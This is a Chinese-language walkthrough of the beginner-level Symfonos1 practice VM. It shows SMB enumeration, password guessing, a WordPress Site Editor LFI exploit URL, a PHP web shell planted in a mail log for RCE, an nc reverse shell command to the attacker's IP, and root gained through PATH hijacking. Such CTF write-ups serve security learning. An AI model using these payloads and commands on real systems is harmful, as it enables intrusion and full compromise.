Symfonos1

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Symfonos1相关的知识,希望对你有一定的参考价值。

靶机下载地址:这里

靶机难度:初级

靶机发布日期:29 Jun 2019

 

启动靶机,用找到扫描局域网找到靶机IP

靶机IP为 192.168.133.151

技术图片

 进行端口扫描, 开放了22、25、80、139、445端口

 技术图片

扫描网站

技术图片

 访问一下网页80端口

技术图片

 没有比较明显的突破,但是服务器还开启了samba服务,看一下服务器分享的所有资源

技术图片

 可以看到有两个用户,一个是匿名用户anonymous,另一个是helios,登入匿名用户

技术图片

发现一个文件,把它下载下来,读取内容:”再使用‘epidioko‘, ‘qwerty‘ and ‘baseball‘这类的密码就被开除“

技术图片

推测用户helios的密码是这三个中的一个,尝试登入发现密码是 ”qwerty“ ,看一下这个用户的smb可以访问的资源

技术图片

有两个文件,依此下载读取,esearch.txt的内容是神话故事,todo.txt中的第三点/h3l105可能是一个目录

技术图片

于是访问一下这个目录,可以看到网站是由wordpress搭建的

技术图片

点击下面的链接,会跳转到symfonos.local/h3l105 ,需要用hosts让ip地址与主机名之间建立映射,在/etc/hosts里面添加ip和域名,才能正常解析

技术图片

 可以正常访问之后,就可以用wpscan枚举插件

wpscan --url http://symfonos.local/h3l105/ -eap

技术图片

 发现了两个插件,而且两个插件都有漏洞

searchsploit site editor 1.1.1
earchsploit mail masta 1.0

技术图片

 这里用site editor 1.1.1的LFI来测试一下,先把44340.txt下载下来

searchsploit -m 44340.txt 

技术图片

 然后找到POC

技术图片

 尝试利用POC读取/etc/passwd,并且成功读取,说明漏洞可以利用

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

技术图片

前面扫描发现服务器还开放了25端口,25端口开放的是SMTP服务,尝试读取用户helios的邮件日志

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios

技术图片

成功读取用户日志,那么可以通过污染邮件日志,让LFI变成RCE

我们可以用telnet向helios发送植入一句话木马的邮件,再利用插件的本地文件包含漏洞让其可以远程命令执行

MAIL FROM: test
RCPT TO: helios
data
<?php system($_GET[‘shell‘]); ?>
.
QUIT

技术图片

测试一下RCE,并且成功执行

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=id

技术图片

 那就可以利用这个RCE反弹一个shell,使用nc在kali上监听9999端口

nc-lvp 9999

技术图片

 然后访问这个链接,即执行nc -e /bin/bash 192.168.133.130 9999

192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=nc -e /bin/bash  192.168.133.130 9999

 成功反弹shell, 然后用python将shell转化成交互式tty

python -c "import pty;pty.spawn(‘/bin/bash‘)"

技术图片

 现在只是一个普通用户,需要进一步提权成root权限

用find找到启用SUID的二进制文件,看到一个通常不属于这里面的一个二进制文件

find / -perm -4000 -type f 2>/dev/null

 技术图片

用strings查看里面的信息,发现该程序调用curl

技术图片

那么我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck

成功获得root权限

技术图片

 技术图片

 

总结:利用samba服务器获得信息和已知的wordpress插件漏洞让LFI变成RCE,最后利用Linux环境变量提权

 

参考链接如下

https://www.jianshu.com/p/ddcb97b8c069

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

 

以上是关于Symfonos1的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数